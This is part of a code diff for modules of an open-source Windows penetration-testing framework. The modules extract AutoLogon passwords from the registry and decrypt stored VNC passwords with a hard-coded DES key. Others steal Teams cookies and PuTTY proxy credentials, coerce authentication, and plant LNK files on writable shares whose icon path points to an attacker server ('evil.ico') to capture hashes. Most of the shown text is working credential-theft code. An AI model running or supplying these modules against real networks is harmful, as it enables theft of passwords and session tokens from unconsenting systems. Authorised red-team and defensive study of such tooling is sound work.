f.write(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}\n")
f.write(f"Proxy Username: {session['proxy_username']}\n")
f.write(f"Proxy Password: {session['proxy_password']}\n")
self.context.log.display(f"Proxy credentials saved to {highlight(proxycreds_file)}")
def on_admin_login(self, context, connection):
self.connection = connection
self.context = context
try:
self.rrp = RemoteOperations(connection.conn, connection.kerberos)
self.rrp.enableRegistry()
all_users = self.get_all_users()
loaded_user_objects = self.get_logged_on_users()
self.user_dict = self.sid_to_name(all_users)
# Users which must be loaded into registry:
unloaded_user_objects = list(set(all_users).symmetric_difference(set(loaded_user_objects)))
self.load_missing_users(unloaded_user_objects)
sessions = self.get_private_key_paths(all_users)
if sessions:
self.extract_session(sessions)
else:
self.context.log.info("No saved putty sessions found in registry")
self.unload_missing_users(unloaded_user_objects)
except Exception as e:
context.log.exception(f"Error: {e}")
finally:
self.rrp.finish()
+1
View File
@@ -103,6 +103,7 @@ class NXCModule:
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.masterkeys = masterkeys_triage.triage_masterkeys()
except Exception as e:
+5 -3
View File
@@ -83,7 +83,7 @@ class NXCModule:
wmi_rdp = RdpWmi(context, connection, self.dcom_timeout)
if hasattr(wmi_rdp, "_rdp_WMI__iWbemLevel1Login"):
if hasattr(wmi_rdp, "_RdpWmi__iWbemLevel1Login"):
if "ram" in self.action:
# Nt version under 6 not support RAM.
try:
@@ -101,7 +101,7 @@ class NXCModule:
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
else:
context.log.fail(str(e))
wmi_rdp._rdp_WMI__dcom.disconnect()
wmi_rdp._RdpWmi__dcom.disconnect()
class RdpSmb:
@@ -218,6 +218,7 @@ class RdpWmi:
self.__target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
self.__doKerberos = connection.kerberos
self.__kdcHost = connection.kdcHost
self.__remoteHost = connection.host
self.__aesKey = connection.aesKey
self.__timeout = timeout
@@ -233,11 +234,12 @@ class RdpWmi:
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
)
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
if self.__currentprotocol == "smb":
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
if not flag or not self.__stringBinding:
error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
+46
View File
@@ -0,0 +1,46 @@
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
class NXCModule:
r"""
WinLogon AutoLogon: extract the credential from the following registry hive
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Module by @pentest_swissky
"""
name = "reg-winlogon"
description = "Collect autologon credential stored in the registry"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
""" """
def on_admin_login(self, context, connection):
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
)
keyHandle = ans["phkResult"]
reg_keys = ["AutoAdminLogon", "DefaultDomainName", "DefaultUserName", "DefaultPassword"]
for reg_key in reg_keys:
try:
dataType, reg_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, reg_key)
context.log.highlight(f"{reg_key}: {reg_value}")
except Exception:
context.log.highlight(f"{reg_key}:")
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
remoteOps.finish()
+2 -2
View File
@@ -14,8 +14,8 @@ class NXCModule:
""""""
def on_admin_login(self, context, connection):
command = "reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
context.log.display("Executing command")
command = r"reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL"
context.log.debug(f"Executing command: {command}")
p = connection.execute(command, True)
if "The system was unable to find the specified registry key or value" in p:
context.log.debug("Unable to find RunAsPPL Registry Key")
+6 -2
View File
@@ -4,6 +4,7 @@ from datetime import datetime
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import tsch, transport
from nxc.helpers.misc import gen_random_string
from nxc.paths import TMP_PATH
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
@@ -52,6 +53,7 @@ class NXCModule:
self.cmd,
connection.kerberos,
connection.aesKey,
connection.host,
connection.kdcHost,
connection.hash,
self.logger,
@@ -77,7 +79,7 @@ class NXCModule:
class TSCH_EXEC:
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
def __init__(self, target, share_name, username, password, domain, user, cmd, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
self.__target = target
self.__username = username
self.__password = password
@@ -89,6 +91,7 @@ class TSCH_EXEC:
self.__retOutput = False
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__remoteHost = remoteHost
self.__kdcHost = kdcHost
self.__tries = tries
self.__output_filename = None
@@ -108,6 +111,7 @@ class TSCH_EXEC:
stringbinding = f"ncacn_np:{self.__target}[\\pipe\\atsvc]"
self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
self.__rpctransport.setRemoteHost(self.__remoteHost)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
@@ -252,7 +256,7 @@ class TSCH_EXEC:
if fileless:
while True:
try:
with open(os.path.join("/tmp", "nxc_hosted", self.__output_filename)) as output:
with open(os.path.join(TMP_PATH, self.__output_filename)) as output:
self.output_callback(output.read())
break
except OSError:
+2 -1
View File
@@ -1,5 +1,6 @@
import ntpath
from sys import exit
from nxc.paths import TMP_PATH
class NXCModule:
@@ -44,7 +45,7 @@ class NXCModule:
exit(1)
self.scf_name = module_options["NAME"]
self.scf_path = f"/tmp/{self.scf_name}.scf"
self.scf_path = f"{TMP_PATH}/{self.scf_name}.scf"
self.file_path = ntpath.join("\\", f"{self.scf_name}.scf")
if not self.cleanup:
+8 -4
View File
@@ -43,10 +43,11 @@ class NXCModule:
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
target=connection.host if not connection.kerberos else connection.remoteName,
pipe="FssagentRpc",
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
remoteHost=connection.host,
)
# If pipe not available, try again. "TL;DR: run the command twice if it doesn't work." - @Shutdown
@@ -61,8 +62,9 @@ class NXCModule:
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
target=connection.host if not connection.kerberos else connection.remoteName,
pipe="FssagentRpc",
remoteHost=connection.host,
)
if self.ipsc:
@@ -194,6 +196,7 @@ class CoerceAuth:
pipe,
doKerberos,
dcHost,
remoteHost,
):
binding_params = {
"FssagentRpc": {
@@ -202,7 +205,7 @@ class CoerceAuth:
},
}
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
dce = rpctransport.get_dce_rpc()
rpctransport.setRemoteHost(remoteHost)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
@@ -213,7 +216,8 @@ class CoerceAuth:
nthash=nthash,
aesKey=aesKey,
)
dce = rpctransport.get_dce_rpc()
dce.set_credentials(*rpctransport.get_credentials())
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+56 -33
View File
@@ -1,77 +1,100 @@
import pylnk3
import ntpath
from sys import exit
from nxc.paths import TMP_PATH
class NXCModule:
"""
Original idea and PoC by Justin Angel (@4rch4ngel86)
Module by @byt3bl33d3r
Updated by @Marshall-Hallenbeck
"""
name = "slinky"
description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
description = "Creates windows shortcuts with the icon attribute containing a URI to the specified server (default SMB) in all shares with write permissions"
supported_protocols = ["smb"]
opsec_safe = False
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def __init__(self):
self.server = None
self.file_path = None
self.lnk_path = None
self.remote_file_path = None
self.local_lnk_path = None
self.lnk_name = None
self.ico_uri = None
self.shares = None
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
self.cleanup = None
def options(self, context, module_options):
"""
SERVER IP of the SMB server
NAME LNK file name
r"""
SERVER IP of the listening server (running Responder, etc)
NAME LNK file name written to the share(s)
ICO_URI Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
SHARES Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
CLEANUP Cleanup (choices: True or False)
"""
self.cleanup = False
if "CLEANUP" in module_options:
self.cleanup = bool(module_options["CLEANUP"])
context.log.debug("Cleanup set to True")
if "NAME" not in module_options:
context.log.fail("NAME option is required!")
exit(1)
if "SHARES" in module_options:
self.shares = module_options["SHARES"].split(",")
context.log.debug(f"Shares to write to: {self.shares}")
if "IGNORE" in module_options:
self.ignore_shares = module_options["IGNORE"].split(",")
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
if not self.cleanup and "SERVER" not in module_options:
context.log.fail("SERVER option is required!")
exit(1)
if "ICO_URI" in module_options:
self.ico_uri = module_options["ICO_URI"]
context.log.debug("Overriding")
self.lnk_name = module_options["NAME"]
self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
self.local_lnk_path = f"{TMP_PATH}/{self.lnk_name}.lnk"
self.remote_file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
if not self.cleanup:
self.server = module_options["SERVER"]
link = pylnk3.create(self.lnk_path)
link.icon = f"\\\\{self.server}\\icons\\icon.ico"
link = pylnk3.create(self.local_lnk_path)
link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
link.save()
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if "WRITE" in share["access"] and share["name"] not in [
"C$",
"ADMIN$",
"NETLOGON",
]:
context.log.success(f"Found writable share: {share['name']}")
if not self.cleanup:
with open(self.lnk_path, "rb") as lnk:
if shares:
slinky_logger = context.log.init_log_file()
context.log.add_file_log(slinky_logger)
for share in shares:
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
if self.shares is not None and share["name"] not in self.shares:
context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
continue
context.log.success(f"Found writable share: {share['name']}")
if not self.cleanup:
with open(self.local_lnk_path, "rb") as lnk:
try:
connection.conn.putFile(share["name"], self.remote_file_path, lnk.read)
context.log.success(f"Created LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
else:
try:
connection.conn.putFile(share["name"], self.file_path, lnk.read)
context.log.success(f"Created LNK file on the {share['name']} share")
connection.conn.deleteFile(share["name"], self.remote_file_path)
context.log.success(f"Deleted LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
else:
try:
connection.conn.deleteFile(share["name"], self.file_path)
context.log.success(f"Deleted LNK file on the {share['name']} share")
except Exception as e:
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
+16 -14
View File
@@ -1,8 +1,10 @@
import json
import errno
import os
from os.path import abspath, join, split, exists, splitext, getsize, sep
from os import makedirs, remove, stat
import time
import traceback
from nxc.paths import TMP_PATH
from nxc.protocols.smb.remotefile import RemoteFile
from impacket.smb3structs import FILE_READ_DATA
from impacket.smbconnection import SessionError
@@ -36,7 +38,7 @@ def human_time(timestamp):
def make_dirs(path):
"""Creates directories at the given path. It handles the exception `os.errno.EEXIST` that may occur if the directories already exist."""
try:
os.makedirs(path)
makedirs(path)
except OSError as e:
if e.errno != errno.EEXIST:
raise
@@ -170,13 +172,13 @@ class SMBSpiderPlus:
The folder path and filename are then obtained separately.
"""
# Remove the backslash before the remote host part and replace slashes with the appropriate path separator
remote_file_path = str(remote_file)[2:].replace("/", os.path.sep).replace("\\", os.path.sep)
remote_file_path = str(remote_file)[2:].replace("/", sep).replace("\\", sep)
# Split the path to obtain the folder path and the filename
folder, filename = os.path.split(remote_file_path)
folder, filename = split(remote_file_path)
# Join the output folder with the folder path to get the final local folder path
folder = os.path.join(self.output_folder, folder)
folder = join(self.output_folder, folder)
return folder, filename
@@ -283,7 +285,7 @@ class SMBSpiderPlus:
return
# Check file extension filter.
_, file_extension = os.path.splitext(file_path)
_, file_extension = splitext(file_path)
if file_extension:
self.stats["file_exts"].add(file_extension.lower())
if file_extension.lower() in self.exclude_exts:
@@ -306,10 +308,10 @@ class SMBSpiderPlus:
# Check if the file is already downloaded and up-to-date.
file_dir, file_name = self.get_file_save_path(remote_file)
download_path = os.path.join(file_dir, file_name)
download_path = join(file_dir, file_name)
needs_update_flag = False
if os.path.exists(download_path):
if file_modified_time <= os.stat(download_path).st_mtime and os.path.getsize(download_path) == file_size:
if exists(download_path):
if file_modified_time <= stat(download_path).st_mtime and getsize(download_path) == file_size:
self.logger.info(f'File already downloaded "{file_path}" => "{download_path}".')
self.stats["num_files_unmodified"] += 1
return
@@ -348,7 +350,7 @@ class SMBSpiderPlus:
remote_file.seek(0, 0)
folder, filename = self.get_file_save_path(remote_file)
download_path = os.path.join(folder, filename)
download_path = join(folder, filename)
# Create the subdirectories based on the share name and file path.
self.logger.debug(f"Creating folder '{folder}'")
@@ -365,8 +367,8 @@ class SMBSpiderPlus:
self.logger.fail(f'Error writing file "{download_path}" from share "{share_name}": {e}')
# Check if the file is empty and should not be.
if os.path.getsize(download_path) == 0 and remote_file.get_filesize() > 0:
os.remove(download_path)
if getsize(download_path) == 0 and remote_file.get_filesize() > 0:
remove(download_path)
remote_path = str(remote_file)[2:]
self.logger.fail(f'Unable to download file "{remote_path}".')
@@ -375,7 +377,7 @@ class SMBSpiderPlus:
The results are formatted with indentation and sorted keys before being written to the file.
"""
metadata_path = os.path.join(self.output_folder, f"{self.host}.json")
metadata_path = join(self.output_folder, f"{self.host}.json")
try:
with open(metadata_path, "w", encoding="utf-8") as fd:
fd.write(json.dumps(results, indent=4, sort_keys=True))
@@ -498,7 +500,7 @@ class NXCModule:
self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$"))
self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive
self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024))
self.output_folder = module_options.get("OUTPUT_FOLDER", os.path.join("/tmp", "nxc_spider_plus"))
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus")))
def on_login(self, context, connection):
context.log.display("Started module spidering_plus with the following options:")
+6 -3
View File
@@ -7,6 +7,7 @@ from impacket.dcerpc.v5.rpch import (
RPC_PROXY_CONN_A1_404_ERR,
RPC_PROXY_RPC_OUT_DATA_404_ERR,
)
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
KNOWN_PROTOCOLS = {
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
@@ -47,14 +48,14 @@ class NXCModule:
context.log.debug(f"StringBinding {self.__stringbinding}")
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
rpctransport.setRemoteHost(connection.host if not connection.kerberos else connection.hostname + "." + connection.domain)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.port)
if connection.kerberos:
rpctransport.set_kerberos(connection.kerberos, connection.kdcHost)
try:
entries = self.__fetch_list(rpctransport)
entries = self.__fetch_list(connection.kerberos, rpctransport)
except Exception as e:
error_text = f"Protocol failed: {e}"
context.log.critical(error_text)
@@ -112,8 +113,10 @@ class NXCModule:
else:
context.log.debug("[Spooler] No endpoints found")
def __fetch_list(self, rpctransport):
def __fetch_list(self, doKerberos, rpctransport):
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
resp = epm.hept_lookup(None, dce=dce)
dce.disconnect()
+4 -2
View File
@@ -1,4 +1,6 @@
import sqlite3
from nxc.paths import TMP_PATH
from os.path import abspath, join
class NXCModule:
@@ -16,7 +18,7 @@ class NXCModule:
connection.execute("taskkill /F /T /IM teams.exe")
found = 0
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
with open("/tmp/teams_cookies2.txt", "wb") as f:
with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
for path in paths:
try:
connection.conn.getFile("C$", path + "/AppData/Roaming/Microsoft/Teams/Cookies", f.write)
@@ -37,7 +39,7 @@ class NXCModule:
@staticmethod
def parse_file(context, name):
try:
conn = sqlite3.connect("/tmp/teams_cookies2.txt")
conn = sqlite3.connect(abspath(join(TMP_PATH, "teams_cookies2.txt")))
c = conn.cursor()
c.execute("SELECT value FROM cookies WHERE name = '" + name + "'")
row = c.fetchone()
@@ -37,7 +37,6 @@ class NXCModule:
"""
self.log_file = None
self.desc_count = 0
self.context = context
self.account_names = set()
self.keywords = {"pass", "creds", "creden", "key", "secret", "default"}
@@ -71,6 +70,7 @@ class NXCModule:
On successful LDAP login we perform a search for all user objects that have a description.
Users can specify additional LDAP filters that are applied to the query.
"""
self.context = context
self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S"))
context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'")
File renamed without changes.
+285
View File
@@ -0,0 +1,285 @@
import ntpath
import tempfile
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target
from impacket.dcerpc.v5 import rrp
from impacket import winregistry
from impacket.examples.secretsdump import RemoteOperations
from impacket.system_errors import ERROR_NO_MORE_ITEMS
from Cryptodome.Cipher import DES
from binascii import unhexlify
import codecs
import re
class NXCModule:
"""
Loot VNC Passwords
Module by @_zblurx
"""
name = "vnc"
description = "Loot Passwords from VNC server and client configurations"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.vnc_decryption_key = b"\xe8\x4a\xd6\x60\xc4\x72\x1a\xe0"
self.false_positive = (
".",
"..",
"desktop.ini",
"Public",
"Default",
"Default User",
"All Users",
)
def options(self, context, module_options):
"""NO_REMOTEOPS Do not use RemoteRegistry. Will not dump RealVNC, ThighVNC and TigerVNC passwords. Default is False"""
self.no_remoteops = False
if "NO_REMOTEOPS" in module_options and "True" in module_options["NO_REMOTEOPS"]:
self.no_remoteops = True
def on_admin_login(self, context, connection):
self.context = context
self.connection = connection
self.share = self.connection.args.share
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=domain,
username=username,
password=password,
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=kerberos,
aesKey=aesKey,
use_kcache=use_kcache,
)
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
if not self.no_remoteops:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
self.vnc_from_registry(remote_ops)
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
self.vnc_from_filesystem(dploot_conn)
def upgrade_connection(self, target: Target, connection=None):
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
else:
conn.connect()
return conn
def reg_query_value(self, remote_ops, path, key, hku=False):
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
path,
)
key_handle = ans["phkResult"]
data = None
try:
_, data = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
key,
)
return data
except rrp.DCERPCSessionError as e:
self.context.log.debug(f"Error while querying registry value for {path} {key}: {e}")
def vnc_client_proxyconf_extract(self, dploot_conn, remote_ops=None):
vnc_client_softwares = [
("RealVNC Viewer 7.x Proxy Conf", "Software\\RealVNC\\vncviewer", ["ProxyUserName", "ProxyPassword", "ProxyServer"]),
]
users = self.get_users(remote_ops)
for user, sid in users.items():
ntuser_dat_path = ntpath.join(f"Users\\{user}\\NTUSER.DAT")
try:
ntuser_dat_bytes = dploot_conn.readFile(self.share, ntuser_dat_path)
except Exception as e:
self.context.log.debug(f"Error while getting NTUSER.DAT file for {user}: {e}")
for vnc_name, registry_path, registry_keys in vnc_client_softwares:
cred = {}
if ntuser_dat_bytes is None and remote_ops is not None:
user_registry_path = ntpath.join(sid, registry_path)
try:
password = self.reg_query_value(remote_ops, user_registry_path, registry_keys[1], hku=True).encode().rstrip(b"\x00").decode()
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
cred["server"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[2], hku=True)
cred["user"] = self.reg_query_value(remote_ops, user_registry_path, registry_keys[0], hku=True)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValues {registry_keys} from {user_registry_path}: {e}")
continue
else:
fh = tempfile.NamedTemporaryFile()
fh.write(ntuser_dat_bytes)
fh.seek(0)
reg = winregistry.Registry(fh.name, isRemote=False)
parent_key = reg.findKey(registry_path)
if parent_key is None:
continue
cred["user"] = reg.getValue(ntpath.join(registry_path, registry_keys[0]))[1].decode("latin-1")
password = reg.getValue(ntpath.join(registry_path, registry_keys[1]))[1].decode("utf-16le").rstrip("\0").encode()
cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1")
cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1")
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
def vnc_from_registry(self, remote_ops):
vncs = (
("RealVNC 4.x", "SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4", "Password"),
("RealVNC 3.x", "SOFTWARE\\RealVNC\\vncserver", "Password"),
("RealVNC 4.x", "SOFTWARE\\RealVNC\\WinVNC4", "Password"),
("TightVNC", "Software\\TightVNC\\Server", "Password"),
("TightVNC ControlPassword", "Software\\TightVNC\\Server", "ControlPassword"),
("TightVNC", "Software\\TightVNC\\Server", "PasswordViewOnly"),
)
for vnc_name, path, key in vncs:
try:
value = self.reg_query_value(remote_ops, path, key)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{key}: {e}")
continue
if value is None:
continue
value = value.rstrip(b"\x00")
password = self.recover_vncpassword(value)
if password is None:
continue
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
vnc_users = (
("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
)
for vnc_name, path, user, password, server in vnc_users:
cred = {}
try:
value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
value = unhexlify(value)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
continue
if value is None:
continue
cred["password"] = self.recover_vncpassword(value).decode()
try:
cred["server"] = self.reg_query_value(remote_ops, path, server)
cred["user"] = self.reg_query_value(remote_ops, path, user)
except Exception as e:
if "ERROR_FILE_NOT_FOUND" not in str(e):
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
continue
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
def split_len(self, seq, length):
return [seq[i:i + length] for i in range(0, len(seq), length)]
def recover_vncpassword(self, cipher: bytes):
encpasswd = cipher.hex()
pwd = None
if encpasswd:
# If the hex encoded passwd length is longer than 16 hex chars and divisible
# by 16, then we chop the passwd into blocks of 64 bits (16 hex chars)
# (1 hex char = 4 binary bits = 1 nibble)
hexpasswd = bytes.fromhex(encpasswd)
if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0:
splitstr = self.split_len(codecs.encode(cipher, "hex"), 16)
cryptedblocks = []
for sblock in splitstr:
cryptedblocks.append(self.decrypt_password(codecs.decode(sblock, "hex")))
pwd = b"".join(cryptedblocks)
elif len(hexpasswd) <= 16:
pwd = self.decrypt_password(cipher)
else:
pwd = self.decrypt_password(cipher)
return pwd
def decrypt_password(self, password: bytes):
length = len(password)
try:
if length <= 16:
password += b"\x00" * (16 - length)
cipher = DES.new(key=self.vnc_decryption_key, mode=DES.MODE_ECB)
return cipher.decrypt(password)[:length]
except Exception as ex:
self.context.log.debug(f"Error while decrypting VNC password {password}: {ex}")
def vnc_from_filesystem(self, dploot_conn):
vncs = (
("UltraVNC", "Program Files (x86)\\uvnc bvba\\UltraVNC\\ultravnc.ini"),
("UltraVNC", "Program Files\\uvnc bvba\\UltraVNC\\ultravnc.ini"),
("UltraVNC", "Program Files\\UltraVNC\\ultravnc.ini"),
("UltraVNC", "Program Files (x86)\\UltraVNC\\ultravnc.ini"),
)
for vnc_name, file in vncs:
file_content = dploot_conn.readFile(self.share, file)
if file_content is not None:
regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
for regex in regex_passwd:
passwds_encrypted = re.findall(regex, file_content)
for passwd_encrypted in passwds_encrypted:
passwd_encrypted = passwd_encrypted.split(b"=")[-1]
password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8]
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
def get_users(self, conn):
users = {}
userlist_key = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList"
ans = rrp.hOpenLocalMachine(conn._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, userlist_key, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
keyHandle = ans["phkResult"]
sids = []
i = 0
while True:
try:
ans2 = rrp.hBaseRegEnumKey(conn._RemoteOperations__rrp, keyHandle, i)
sids.append(ans2["lpNameOut"])
except rrp.DCERPCSessionError as e:
if e.get_error_code() == ERROR_NO_MORE_ITEMS:
break
except Exception as e:
self.context.debug(f"Error while listing users from HKU: {e}")
i += 1
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
for sid in sids:
ans = rrp.hBaseRegOpenKey(conn._RemoteOperations__rrp, regHandle, ntpath.join(userlist_key, sid), samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE)
keyHandle = ans["phkResult"]
_, profile_path = rrp.hBaseRegQueryValue(conn._RemoteOperations__rrp, keyHandle, "ProfileImagePath")
if r"%systemroot%" in profile_path:
continue
users[ntpath.basename(profile_path.rstrip("\0"))] = sid.rstrip("\0")
rrp.hBaseRegCloseKey(conn._RemoteOperations__rrp, keyHandle)
return users
+40 -62
View File
@@ -28,17 +28,6 @@ REG_VALUE_TYPE_32BIT_BE = 5
REG_VALUE_TYPE_UNICODE_STRING_SEQUENCE = 7
REG_VALUE_TYPE_64BIT_LE = 11
# Setup file logger
if "wcc_logger" not in globals():
wcc_logger = logging.getLogger("WCC")
wcc_logger.propagate = False
log_filename = nxc_logger.init_log_file()
log_filename = log_filename.replace("log_", "wcc_")
wcc_logger.setLevel(logging.INFO)
wcc_file_handler = logging.FileHandler(log_filename)
wcc_file_handler.setFormatter(logging.Formatter("%(asctime)s [%(levelname)s] %(message)s"))
wcc_logger.addHandler(wcc_file_handler)
class ConfigCheck:
"""Class for performing the checks and holding the results"""
@@ -75,7 +64,7 @@ class ConfigCheck:
def log(self, context):
result = "passed" if self.ok else "did not pass"
reasons = ", ".join(self.reasons)
wcc_logger.info(f'{self.connection.host}: Check "{self.name}" {result} because: {reasons}')
self.module.wcc_logger.info(f'{self.connection.host}: Check "{self.name}" {result} because: {reasons}')
if self.module.quiet:
return
@@ -99,6 +88,19 @@ class NXCModule:
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
self.wcc_logger = logging.getLogger("WCC")
self.wcc_logger.propagate = False
log_filename = nxc_logger.init_log_file()
log_filename = log_filename.replace("log_", "wcc_")
self.wcc_logger.setLevel(logging.INFO)
